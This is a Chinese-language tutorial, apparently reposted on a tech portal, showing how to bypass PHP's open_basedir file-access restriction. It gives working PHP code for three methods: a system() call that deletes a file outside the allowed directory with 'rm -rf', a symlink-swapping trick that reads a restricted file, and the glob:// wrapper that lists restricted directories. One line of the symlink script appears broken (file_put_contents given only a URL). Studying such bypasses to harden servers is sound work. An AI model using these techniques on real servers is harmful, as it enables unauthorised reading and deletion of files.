数码控科技猎奇Iphone动漫星座游戏电竞lolcosplay王者荣耀攻略allcnewsBLOGNEWSBLOGASKBLOGBLOGZSK全部技术问答问答技术问答it问答代码软件新闻开发博客电脑/网络手机/数码笔记本电脑互联网操作系统软件硬件编程开发360产品资源分享电脑知识文档中心IT全部全部分类全部分类技术牛文全部分类教程最新网页制作cms教程平面设计媒体动画操作系统网站运营网络安全服务器教程数据库工具网络安全软件教学vbscript正则表达式javascript批处理更多»编程更新教程更新游戏更新allitnewsJava新闻网络医疗信息化安全创业站长电商科技访谈域名会议专栏创业动态融资创投创业学院 / 产品经理创业公司人物访谈营销开发数据库服务器系统虚拟化云计算嵌入式移动开发作业作业1常见软件all电脑网络手机数码生活游戏体育运动明星影音休闲爱好文化艺术社会民生教育科学医疗健康金融管理情感社交地区其他电脑互联网软件硬件编程开发360相关产品手机平板其他电子产品摄影器材360硬件通讯智能设备购物时尚生活常识美容塑身服装服饰出行旅游交通汽车购房置业家居装修美食烹饪单机电脑游戏网页游戏电视游戏桌游棋牌游戏手机游戏小游戏掌机游戏客户端游戏集体游戏其他游戏体育赛事篮球足球其他运动球类运动赛车健身运动运动用品影视娱乐人物音乐动漫摄影摄像收藏宠物幽默搞笑起名花鸟鱼虫茶艺彩票星座占卜书画美术舞蹈小说图书器乐声乐小品相声戏剧戏曲手工艺品历史话题时事政治就业职场军事国防节日风俗法律法规宗教礼仪礼节自然灾害360维权社会人物升学入学人文社科外语资格考试公务员留学出国家庭教育学习方法语文物理生物工程学农业数学化学健康知识心理健康孕育早教内科外科妇产科儿科皮肤科五官科男科整形中医药品传染科其他疾病医院两性肿瘤科创业投资企业管理财务税务银行股票金融理财基金债券保险贸易商务文书国民经济爱情婚姻家庭烦恼北京上海重庆天津黑龙江吉林辽宁河北内蒙古山西陕西宁夏甘肃青海新疆西藏四川贵州云南河南湖北湖南山东江苏浙江安徽江西福建广东广西海南香港澳门台湾海外地区

PHP绕过open

来源:脚本之家  责任编辑:小易  

0x00 预备知识

关于open_basedir

open_basedir是php.ini中的一个配置选项

它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

关于符号链接

符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。

路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

0x01 命令执行函数

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。

我们首先创建一个目录

/home/puret/test/

且在该目录下新建一个1.txt 内容为abc

nano 1.txt

再在该目录下创建一个目录命名为b

mkdir b

并且在该目录下创建一个1.php文件内容为

<?php
  echo file_get_contents("../1.txt");
?>

且在php.ini中设置好我们的open_basedir

open_basedir = /home/puret/test/b/

我们尝试执行1.php看看open_basedir是否会限制我们的访问

执行效果如图

很明显我们无法直接读取open_basedir所规定以外的目录文件。

接下来我们用system函数尝试绕open_basedir的限制来删除1.txt

编辑1.php为

<?php
 system("rm -rf ../1.txt");
?>

先来看看执行1.php之前的文件情况

执行1.php之后

成功通过命令执行函数绕过open_basedir来删除文件。
由于命令执行函数一般都会被限制在disable_function当中,所以我们需要寻找其他的途径来绕过限制。

0x02 symlink()函数

我们先来了解一下symlink函数

bool symlink ( string $target , string $link )

symlink函数将建立一个指向target的名为link的符号链接,当然一般情况下这个target是受限于open_basedir的。
由于早期的symlink不支持windows,我的测试环境就放在Linux下了。

测试的PHP版本是5.3.0,其他的版本大家自测吧。

在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。

我们首先在/var/www/html/1.php中 编辑1.php的内容为

<?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

接着在/var/www/中新建一个1.txt文件内容为

"abc"

再来设置一下我们的open_basedir

open_basedir = /var/www/html/

在html目录下编辑一个php脚本检验一下open_basedir

<?php
   file_get_contents("../1.txt");
?>

执行看下。

意料之中,文件无法访问。

我们执行刚才写好的脚本,1.php

可以看到成功读取到了1.txt的文件内容,逃脱了open_basedir的限制

问题的关键就在于

symlink("tmplink/../../1.txt","exploit");

此时tmplink还是一个符号链接文件,它指向的路径是c/d,因此exploit指向的路径就变成了

c/d/../../1.txt

由于这个路径在open_basedir的范围之内所以exploit成功建立了。

之后我们删除tmplink符号链接文件再新建一个同名为tmplink的文件夹,这时exploit所指向的路径为

tmplink/../../

由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/

然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容

当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 glob伪协议

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test

并且在/var/www/html/下新建t.php内容为

<?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

执行结果如图:

成功躲过open_basedir的限制读取到了文件。

您可能感兴趣的文章:


  • 本文相关:
  • php文件包含目录配置open_basedir的使用与性能详解
  • php5全版本绕过open_basedir读文件脚本漏洞详细介绍
  • php 配置open_basedir 让各虚拟站点独立运行
  • php 配置文件中open_basedir选项作用
  • php运行模式汇总
  • php preg_replace替换实例讲解
  • php cookies中删除的一般赋值方法
  • php 将dataurl转成图片image方法总结
  • php代码网站如何防范sql注入漏洞攻击建议分享
  • php实现的方程求解示例分析
  • php使用正则表达式实现过滤非法字符串功能示例
  • php针对json操作实例分析
  • php中的traits实现代码复用使用实例
  • php接口技术实例详解
  • 免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved